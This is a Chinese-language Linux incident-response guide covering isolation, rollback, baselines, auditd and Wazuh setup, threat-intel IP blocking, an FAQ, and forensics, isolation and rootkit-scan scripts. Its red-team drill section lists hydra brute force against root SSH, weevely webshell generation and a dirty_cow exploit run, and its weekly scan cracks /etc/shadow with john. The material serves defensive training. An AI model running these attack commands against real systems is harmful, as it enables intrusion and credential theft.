# 决策:先取证,再决定是否离线# 1. 快速取证(不影响业务)cd /forensicsps auxwwf > processes.txtss -tunap > network.txt# 2. 业务影响评估# 如果业务可降级 → 隔离受害主机,切换到备用节点# 如果业务不可中断 → 仅清除威胁,持续监控# 3. 通知业务方echo"系统检测到安全事件,业务可能受影响" | mail -s "紧急:安全事件" business@example.com
场景 3: 勒索软件加密数据
# 决策:立即隔离,不支付赎金,评估备份# 1. 立即断网(防止扩散到其他主机)iptables -P INPUT DROPiptables -P OUTPUT DROP# 2. 不支付赎金(支付后仍可能无法解密)# 3. 评估备份可用性ls -lh /backup/# 如果有最近备份 → 恢复数据# 如果无备份 → 数据丢失,输出事件报告# 4. 溯源分析(确定入侵路径,防止再次感染)
回滚条件与命令
回滚触发条件:
回滚步骤:
# 1. 恢复防火墙规则iptables-restore < /tmp/iptables_backup_YYYYMMDD_HHMMSS.txt# 2. 恢复系统文件(如果误删)cp -r /backup/etc /etc# 3. 恢复服务systemctl start nginx mysql redis# 4. 验证业务恢复curl -I http://localhost# 预期输出:HTTP/1.1 200 OK
数据与配置备份
应急响应前的准备(平时建立):
# 1. 建立系统基线(定期更新)rpm -Va > /baseline/rpm_verify_$(date +%Y%m%d).txt # RHEL/CentOSdpkg --verify > /baseline/dpkg_verify_$(date +%Y%m%d).txt # Ubuntu/Debianfind / -type f \( -perm -4000 -o -perm -2000 \) > /baseline/suid_sgid_$(date +%Y%m%d).txt# 2. 定期备份关键配置tar czf /backup/config_$(date +%Y%m%d).tar.gz /etc /root/.ssh /var/spool/cron# 3. 启用远程日志备份# 编辑 /etc/rsyslog.confecho"*.* @@logserver.example.com:514" >> /etc/rsyslog.confsystemctl restart rsyslog# 4. 定期演练应急响应(每季度一次)bash /opt/incident_response_drill.sh
1️⃣1️⃣ 最佳实践
1. 建立安全基线(事前准备)
系统基线清单:
# 1. 系统文件完整性基线rpm -Va > /baseline/rpm_baseline.txt # RHEL/CentOSdpkg --verify > /baseline/dpkg_baseline.txt # Ubuntu/Debianaide --init # 文件完整性监控# 2. SUID/SGID 文件基线find / -type f \( -perm -4000 -o -perm -2000 \) 2>/dev/null > /baseline/suid_baseline.txt# 3. 进程基线ps aux > /baseline/processes_baseline.txtsystemctl list-units --type=service > /baseline/services_baseline.txt# 4. 网络连接基线ss -tunlp > /baseline/listening_ports_baseline.txt# 5. 用户基线cat /etc/passwd > /baseline/passwd_baseline.txtcat /etc/shadow > /baseline/shadow_baseline.txt# 定期对比(每周)diff /baseline/suid_baseline.txt <(find / -type f \( -perm -4000 -o -perm -2000 \) 2>/dev/null)
2. 启用完整审计日志
auditd 生产级配置:
# /etc/audit/rules.d/production.rules# 监控所有命令执行-a always,exit -F arch=b64 -S execve -k exec_commands# 监控文件修改-w /etc/passwd -p wa -k passwd_changes-w /etc/shadow -p wa -k shadow_changes-w /etc/group -p wa -k group_changes-w /etc/sudoers -p wa -k sudoers_changes-w /etc/ssh/sshd_config -p wa -k sshd_config_changes# 监控关键目录-w /bin/ -p wa -k bin_changes-w /sbin/ -p wa -k sbin_changes-w /usr/bin/ -p wa -k usr_bin_changes-w /usr/sbin/ -p wa -k usr_sbin_changes# 监控定时任务-w /etc/crontab -p wa -k crontab_changes-w /etc/cron.d/ -p wa -k cron_d_changes-w /var/spool/cron/ -p wa -k user_cron_changes# 监控网络连接-a always,exit -F arch=b64 -S socket -S connect -k network_activity# 监控权限提升-a always,exit -F arch=b64 -S setuid -S setgid -S setreuid -S setregid -k privilege_escalation# 重启 auditdservice auditd restart# 查询审计日志ausearch -k exec_commands -ts recent | tail -n 50
3. 部署入侵检测系统(HIDS)
OSSEC/Wazuh 部署(推荐):
# 安装 Wazuh Agentcurl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | gpg --no-default-keyring --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --importecho"deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main" | tee /etc/apt/sources.list.d/wazuh.listapt-get updateapt-get install wazuh-agent# 配置连接到 Wazuh Managerecho"WAZUH_MANAGER='192.168.1.200'" > /var/ossec/etc/ossec.conf# 启用主动响应(自动阻断攻击 IP)# 编辑 /var/ossec/etc/ossec.conf<active-response> <command>firewall-drop</command> <location>local</location> <rules_id>5712,100001</rules_id> # SSH 暴力破解 <timeout>600</timeout></active-response># 启动 Agentsystemctl enable --now wazuh-agent
4. 定期安全扫描
每周执行一次:
#!/bin/bash# weekly_security_scan.sh# 1. Rootkit 扫描rkhunter --check --skip-keypress --report-warnings-only | mail -s "Rootkit 扫描报告" admin@example.com# 2. 文件完整性检查aide --check | mail -s "文件完整性报告" admin@example.com# 3. 弱密码检查john --wordlist=/usr/share/wordlists/rockyou.txt /etc/shadow# 4. 端口扫描(自扫描)nmap -sV -p- localhost | mail -s "端口扫描报告" admin@example.com# 5. 漏洞扫描(使用 OpenVAS/Nessus)# openvas-cli --target localhost --format pdf --output /tmp/vuln_scan.pdf
5. 建立应急响应手册
应急响应手册目录结构:
/opt/incident_response/├── README.md # 应急响应流程概览├── scripts/│ ├── isolate.sh # 网络隔离脚本│ ├── forensics.sh # 取证采集脚本│ ├── cleanup.sh # 威胁清除脚本│ └── harden.sh # 系统加固脚本├── baselines/ # 系统基线数据│ ├── suid_baseline.txt│ ├── processes_baseline.txt│ └── services_baseline.txt├── playbooks/ # 应急响应剧本│ ├── ssh_bruteforce.md # SSH 暴力破解响应│ ├── webshell.md # Webshell 后门响应│ ├── cryptominer.md # 挖矿木马响应│ └── ransomware.md # 勒索软件响应└── contacts/ # 应急联系人 └── contacts.txt # 安全团队、业务负责人联系方式
6. 演练应急响应(Red Team/Blue Team)
每季度演练一次:
# Red Team(攻击方):模拟入侵# 1. SSH 暴力破解(使用 hydra)hydra -l root -P passwords.txt ssh://target-server# 2. Webshell 上传(使用 weevely)weevely generate password /tmp/shell.php# 上传到 Web 服务器# 3. 权限提升(使用 CVE 漏洞)./dirty_cow# Blue Team(防御方):检测与响应# 1. 检测到暴力破解告警(Wazuh)# 2. 执行应急响应流程(隔离、取证、清除)# 3. 输出响应报告(响应时间、处置措施、改进建议)# 演练评估指标:# - 检测时间(从攻击开始到发现):目标 < 5 分钟# - 响应时间(从发现到隔离):目标 < 10 分钟# - 清除时间(从隔离到威胁清除):目标 < 60 分钟
7. 建立威胁情报库
集成威胁情报源:
# 1. 下载恶意 IP 黑名单wget https://rules.emergingthreats.net/blockrules/compromised-ips.txt -O /threat_intel/malicious_ips.txt# 2. 定期更新(每日)echo"0 2 * * * wget -q https://rules.emergingthreats.net/blockrules/compromised-ips.txt -O /threat_intel/malicious_ips.txt" | crontab -# 3. 在防火墙中阻断恶意 IPwhileread ip; do iptables -I INPUT -s $ip -j DROPdone < /threat_intel/malicious_ips.txt# 4. 检查当前连接是否在黑名单中ss -tunap | grep ESTABLISHED | awk '{print $6}' | cut -d: -f1 | sort -u | whileread ip; doif grep -q "$ip" /threat_intel/malicious_ips.txt; thenecho"警告:检测到连接恶意 IP $ip"fidone
1️⃣2️⃣ FAQ(常见问题)
Q1: 如何判断系统是否被入侵?
A: 检查以下关键指标:
| | |
|---|
| ps aux --sort=-%cpu | |
| ss -tunap | grep ESTABLISHED | |
| last | head -n 20 | |
| find /tmp -mtime -1 | |
| uptime | |
综合判断:满足 2 项以上即可能被入侵
Q2: 应急响应期间是否应该关闭服务器?
A: 不推荐立即关机,原因:
- 1. 内存数据丢失:关机后无法采集内存镜像、进程列表、网络连接
- 2. 证据销毁:部分恶意程序在关机时会自动清除痕迹
正确做法:
# 1. 先网络隔离(保留管理通道)iptables -P INPUT DROP# 2. 采集易失性数据ps auxwwf > /forensics/processes.txtss -tunap > /forensics/network.txt# 3. 评估是否需要关机# 如果是 Rootkit/Bootkit 感染 → 关机后取出硬盘进行离线分析# 如果是普通木马 → 不关机,在线清除
Q3: 取证数据应该保存多久?
A: 根据合规要求和业务需求:
存储建议:
Q4: 如何防止攻击者销毁证据?
A: 关键措施:
- 1. 快速隔离:发现入侵后 5 分钟内完成网络隔离
- 3. 远程日志备份:日志实时发送到独立日志服务器(rsyslog/syslog-ng)
- 5. 断网取证:关键证据采集时断开网络(防止攻击者远程销毁)
实施示例:
# 远程日志备份配置echo"*.* @@logserver.example.com:514" >> /etc/rsyslog.confsystemctl restart rsyslog# 验证日志已发送ssh logserver.example.com 'tail -f /var/log/remote/$(hostname)/*.log'
Q5: 应急响应后如何确认威胁完全清除?
A: 执行完整的验证清单:
# 1. Rootkit 扫描(无检出)rkhunter --checkchkrootkit# 2. 进程检查(无可疑进程)ps aux | grep -E "xmrig|miner|evil"# 3. 网络连接检查(无异常外连)ss -tunap | grep ESTABLISHED# 4. 文件完整性检查(系统文件无篡改)aide --check# 5. 定时任务检查(无恶意任务)crontab -l -u rootcat /etc/crontab# 6. 启动项检查(无恶意服务)systemctl list-units --type=service# 7. 账号检查(无后门账号)cat /etc/passwd | grep "/bin/bash"# 8. SSH 配置检查(无后门配置)cat /root/.ssh/authorized_keys# 验证周期:清除后立即验证 + 24小时后再次验证 + 7天后最终验证
Q6: 如何区分误报和真实入侵?
A: 交叉验证多个指标:
误报特征:
- • 仅单一指标异常(如仅 CPU 高,但进程为业务进程)
- • 可解释的行为(如定时任务触发的备份导致 CPU 高)
真实入侵特征:
- • 多指标同时异常(CPU 高 + 异常外连 + 可疑进程)
验证步骤:
# 1. 检查历史监控数据# 查看过去 7 天的 CPU/内存趋势# 2. 检查进程是否为业务进程ps aux | grep <可疑进程名># 查看进程路径、命令行参数、父进程# 3. 检查网络连接目标 IPwhois <可疑 IP># 查看 IP 归属地、所属组织# 4. 检查文件创建时间stat /tmp/suspicious_file# 查看创建时间是否在业务时间段# 判断标准:满足以下任一即为真实入侵# - 进程路径在 /tmp /var/tmp /dev/shm# - 外连 IP 为国外且无业务关联# - 文件创建时间在非工作时间(凌晨 2-5 点)
Q7: 云环境(AWS/阿里云)应急响应有何不同?
A: 云环境特殊性:
| | |
|---|
| | |
| | |
| | 云日志服务(CloudTrail/ActionTrail) |
| | |
云环境应急响应最佳实践:
# AWS - 使用 CLI 快速响应# 1. 创建快照(保留证据)aws ec2 create-snapshot --volume-id vol-xxxxxxxx --description "Incident Response Snapshot"# 2. 隔离实例(修改安全组)aws ec2 modify-instance-attribute --instance-id i-xxxxxxxx --groups sg-isolation# 3. 采集日志aws s3 sync s3://my-cloudtrail-logs/$(date +%Y/%m/%d)/ /forensics/cloudtrail/# 阿里云 - 使用 CLI 快速响应# 1. 创建快照aliyun ecs CreateSnapshot --DiskId d-xxxxxxxx --SnapshotName "incident-snapshot"# 2. 隔离实例aliyun ecs ModifySecurityGroupRule --SecurityGroupId sg-xxxxxxxx --IpProtocol all --Policy drop# 3. 采集日志aliyun log get_logs --project=my-project --logstore=my-logstore --from=$(date -d '1 day ago' +%s) --to=$(date +%s)
1️⃣3️⃣ 附录:关键脚本
一键取证脚本
#!/bin/bash# 文件名:forensics_collect.sh# 用途:自动化采集应急响应所需的所有易失性数据set -e# ============ 配置变量 ============FORENSICS_DIR="/forensics/$(hostname)_$(date +%Y%m%d_%H%M%S)"LOG_FILE="$FORENSICS_DIR/forensics.log"# ============ 前置检查 ============if [[ $EUID -ne 0 ]]; thenecho"错误:必须以 root 用户运行此脚本"exit 1fiecho"[$(date)] 开始应急响应取证..." | tee -a $LOG_FILE# ============ 创建取证目录 ============mkdir -p "$FORENSICS_DIR"/{processes,network,logs,files,system}cd"$FORENSICS_DIR"# ============ 采集系统信息 ============echo"[$(date)] [1/12] 采集系统信息..." | tee -a $LOG_FILE{echo"=== 系统信息 ==="uname -acat /etc/*-release 2>/dev/nulluptimedate hostname hostname -I} > system/system_info.txt# ============ 采集进程列表 ============echo"[$(date)] [2/12] 采集进程列表..." | tee -a $LOG_FILEps auxwwf > processes/processes_tree.txtps -eo pid,ppid,user,cmd,start,etime,pcpu,pmem > processes/processes_list.txtpstree -ap > processes/processes_pstree.txt 2>/dev/null || truetop -b -n 1 > processes/top_snapshot.txt# ============ 采集网络连接 ============echo"[$(date)] [3/12] 采集网络连接..." | tee -a $LOG_FILEss -tunap > network/network_connections_ss.txtnetstat -tunap > network/network_connections_netstat.txt 2>/dev/null || truelsof -i > network/network_lsof.txtip addr show > network/ip_addresses.txtip route show > network/ip_routes.txtiptables -L -n -v > network/iptables_rules.txt 2>/dev/null || true# ============ 采集登录会话 ============echo"[$(date)] [4/12] 采集登录会话..." | tee -a $LOG_FILEw > system/login_sessions_w.txtwho > system/login_sessions_who.txtlast | head -n 100 > system/login_history.txtlastb | head -n 50 > system/failed_logins.txt 2>/dev/null || truelastlog > system/lastlog.txt# ============ 采集打开文件 ============echo"[$(date)] [5/12] 采集打开文件..." | tee -a $LOG_FILElsof +L1 > files/open_files_deleted.txt 2>/dev/null || truelsof | grep -E "REG|DIR" > files/open_files_all.txt 2>/dev/null || true# ============ 采集定时任务 ============echo"[$(date)] [6/12] 采集定时任务..." | tee -a $LOG_FILEcrontab -l -u root > system/crontab_root.txt 2>/dev/null || echo"root 无定时任务" > system/crontab_root.txtcat /etc/crontab > system/crontab_system.txtls -laR /etc/cron.* > system/crontab_dirs.txt 2>/dev/nullcat /var/spool/cron/* > system/crontab_users.txt 2>/dev/null || true# ============ 采集系统服务 ============echo"[$(date)] [7/12] 采集系统服务..." | tee -a $LOG_FILEsystemctl list-units --type=service --all > system/systemd_services.txt 2>/dev/null || truechkconfig --list > system/chkconfig_services.txt 2>/dev/null || true# ============ 采集启动项 ============echo"[$(date)] [8/12] 采集启动项..." | tee -a $LOG_FILEls -la /etc/rc*.d/ > system/rc_startup.txt 2>/dev/null || truecat /etc/rc.local > system/rc_local.txt 2>/dev/null || true# ============ 采集环境变量 ============echo"[$(date)] [9/12] 采集环境变量..." | tee -a $LOG_FILEenv > system/environment_vars.txtcat /proc/*/environ 2>/dev/null | tr'\0''\n' > system/processes_environ.txt || true# ============ 采集内核模块 ============echo"[$(date)] [10/12] 采集内核模块..." | tee -a $LOG_FILElsmod > system/kernel_modules_lsmod.txtcat /proc/modules > system/kernel_modules_proc.txt# ============ 采集日志 ============echo"[$(date)] [11/12] 采集系统日志..." | tee -a $LOG_FILEmkdir -p logs/var_log_backupcp -r /var/log/* logs/var_log_backup/ 2>/dev/null || true# journalctl 日志(systemd 系统)ifcommand -v journalctl &> /dev/null; then journalctl --since "24 hours ago" --no-pager > logs/journalctl_24h.txt journalctl -u ssh --no-pager > logs/journalctl_ssh.txt 2>/dev/null || true journalctl -u sshd --no-pager > logs/journalctl_sshd.txt 2>/dev/null || truefi# auditd 日志ifcommand -v ausearch &> /dev/null; then ausearch -ts recent > logs/audit_recent.txt 2>/dev/null || true ausearch -m execve -ts boot > logs/audit_execve.txt 2>/dev/null || truefi# ============ 采集最近修改文件 ============echo"[$(date)] [12/12] 采集最近修改文件列表..." | tee -a $LOG_FILEfind / -type f -mtime -1 ! -path "/var/log/*" ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null > files/recently_modified_24h.txt || truefind /tmp /var/tmp /dev/shm -type f 2>/dev/null > files/temp_files.txt || truefind / -type f \( -perm -4000 -o -perm -2000 \) ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null > files/suid_sgid_files.txt || true# ============ 生成哈希校验 ============echo"[$(date)] 生成哈希校验..." | tee -a $LOG_FILEfind "$FORENSICS_DIR" -type f -execsha256sum {} \; > "$FORENSICS_DIR/checksums.txt"# ============ 打包压缩 ============echo"[$(date)] 打包取证数据..." | tee -a $LOG_FILEcd /forensicstar czf "$(basename $FORENSICS_DIR).tar.gz""$(basename $FORENSICS_DIR)"sha256sum"$(basename $FORENSICS_DIR).tar.gz" > "$(basename $FORENSICS_DIR).tar.gz.sha256"# ============ 完成 ============echo""echo"============ 取证完成 ============"echo"取证目录: $FORENSICS_DIR"echo"压缩包: /forensics/$(basename $FORENSICS_DIR).tar.gz"echo"哈希值: $(cat /forensics/$(basename $FORENSICS_DIR).tar.gz.sha256)"echo""echo"下一步:"echo"1. 分析取证数据:cd $FORENSICS_DIR"echo"2. 传输到取证服务器:scp /forensics/$(basename $FORENSICS_DIR).tar.gz forensics-server:/evidence/"echo"3. 继续威胁分析与清除"
使用方法:
# 下载脚本curl -O https://your-repo.com/forensics_collect.shchmod +x forensics_collect.sh# 执行取证sudo ./forensics_collect.sh
网络隔离脚本
#!/bin/bash# 文件名:network_isolate.sh# 用途:快速隔离受害主机,保留管理通道set -e# ============ 配置变量(修改为实际管理 IP)============MGMT_IP="192.168.1.100"# 管理员 IPMGMT_PORT="22"# SSH 端口# ============ 备份现有规则 ============echo"[1/4] 备份防火墙规则..."iptables-save > /tmp/iptables_backup_$(date +%Y%m%d_%H%M%S).txt# ============ 清空现有规则 ============echo"[2/4] 清空现有规则..."iptables -Fiptables -Xiptables -Z# ============ 设置隔离规则 ============echo"[3/4] 设置隔离规则..."# 默认策略:拒绝所有iptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP# 允许本地回环iptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT# 允许已建立的连接(保持当前 SSH 会话)iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPTiptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT# 仅允许管理 IP 的 SSH 连接iptables -A INPUT -p tcp -s $MGMT_IP --dport $MGMT_PORT -j ACCEPTiptables -A OUTPUT -p tcp --sport $MGMT_PORT -d $MGMT_IP -j ACCEPT# 保存规则ifcommand -v iptables-save &> /dev/null; then service iptables save 2>/dev/null || netfilter-persistent save 2>/dev/null || truefi# ============ 验证规则 ============echo"[4/4] 验证隔离规则..."iptables -L -n -vecho""echo"============ 网络隔离完成 ============"echo"⚠️ 警告:仅允许来自 $MGMT_IP 的 SSH 连接"echo"⚠️ 所有其他网络流量已被阻断"echo""echo"恢复网络:"echo"iptables-restore < /tmp/iptables_backup_YYYYMMDD_HHMMSS.txt"
Rootkit 扫描脚本
#!/bin/bash# 文件名:rootkit_scan.sh# 用途:全面扫描 Rootkit 感染set -eecho"============ Rootkit 扫描 ============"# ============ 安装扫描工具 ============echo"[1/5] 检查扫描工具..."if ! command -v rkhunter &> /dev/null; thenecho"安装 rkhunter..." yum install -y rkhunter 2>/dev/null || apt-get install -y rkhunter 2>/dev/nullfiif ! command -v chkrootkit &> /dev/null; thenecho"安装 chkrootkit..." yum install -y chkrootkit 2>/dev/null || apt-get install -y chkrootkit 2>/dev/nullfi# ============ 更新病毒库 ============echo"[2/5] 更新病毒库..."rkhunter --update# ============ 运行 rkhunter ============echo"[3/5] 运行 rkhunter 扫描..."rkhunter --check --skip-keypress --report-warnings-only > /tmp/rkhunter_scan_$(date +%Y%m%d_%H%M%S).txt# ============ 运行 chkrootkit ============echo"[4/5] 运行 chkrootkit 扫描..."chkrootkit > /tmp/chkrootkit_scan_$(date +%Y%m%d_%H%M%S).txt# ============ 手动检测隐藏进程 ============echo"[5/5] 检测隐藏进程..."PS_COUNT=$(ps aux | wc -l)PROC_COUNT=$(ls /proc | grep -E '^[0-9]+$' | wc -l)DIFF=$((PROC_COUNT - PS_COUNT))if [ $DIFF -gt 10 ]; thenecho"⚠️ 警告:检测到 $DIFF 个隐藏进程(可能存在 Rootkit)"elseecho"✓ 进程数量正常(差异: $DIFF)"fi# ============ 输出结果 ============echo""echo"============ 扫描完成 ============"echo"rkhunter 报告: /tmp/rkhunter_scan_*.txt"echo"chkrootkit 报告: /tmp/chkrootkit_scan_*.txt"echo""echo"查看详细报告:"echo"cat /tmp/rkhunter_scan_*.txt"echo"cat /tmp/chkrootkit_scan_*.txt"
1️⃣4️⃣ 扩展阅读
官方文档:
- • Linux Audit 官方文档:https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/security_hardening/auditing-the-system_security-hardening
- • OSSEC HIDS 官方文档:https://www.ossec.net/docs/
- • Wazuh 文档:https://documentation.wazuh.com/
应急响应框架:
- • NIST 计算机安全事件处理指南:https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r2.pdf
- • SANS 应急响应海报:https://www.sans.org/posters/incident-response-cycle/
取证工具:
- • LiME 内存取证:https://github.com/504ensicsLabs/LiME
- • Volatility 内存分析:https://github.com/volatilityfoundation/volatility
- • The Sleuth Kit 磁盘取证:https://www.sleuthkit.org/
威胁情报:
- • AlienVault OTX:https://otx.alienvault.com/
- • Abuse.ch 恶意 IP/域名库:https://abuse.ch/
- • VirusTotal:https://www.virustotal.com/
社区资源:
- • r/netsec:https://www.reddit.com/r/netsec/
- • Awesome Incident Response:https://github.com/meirwah/awesome-incident-response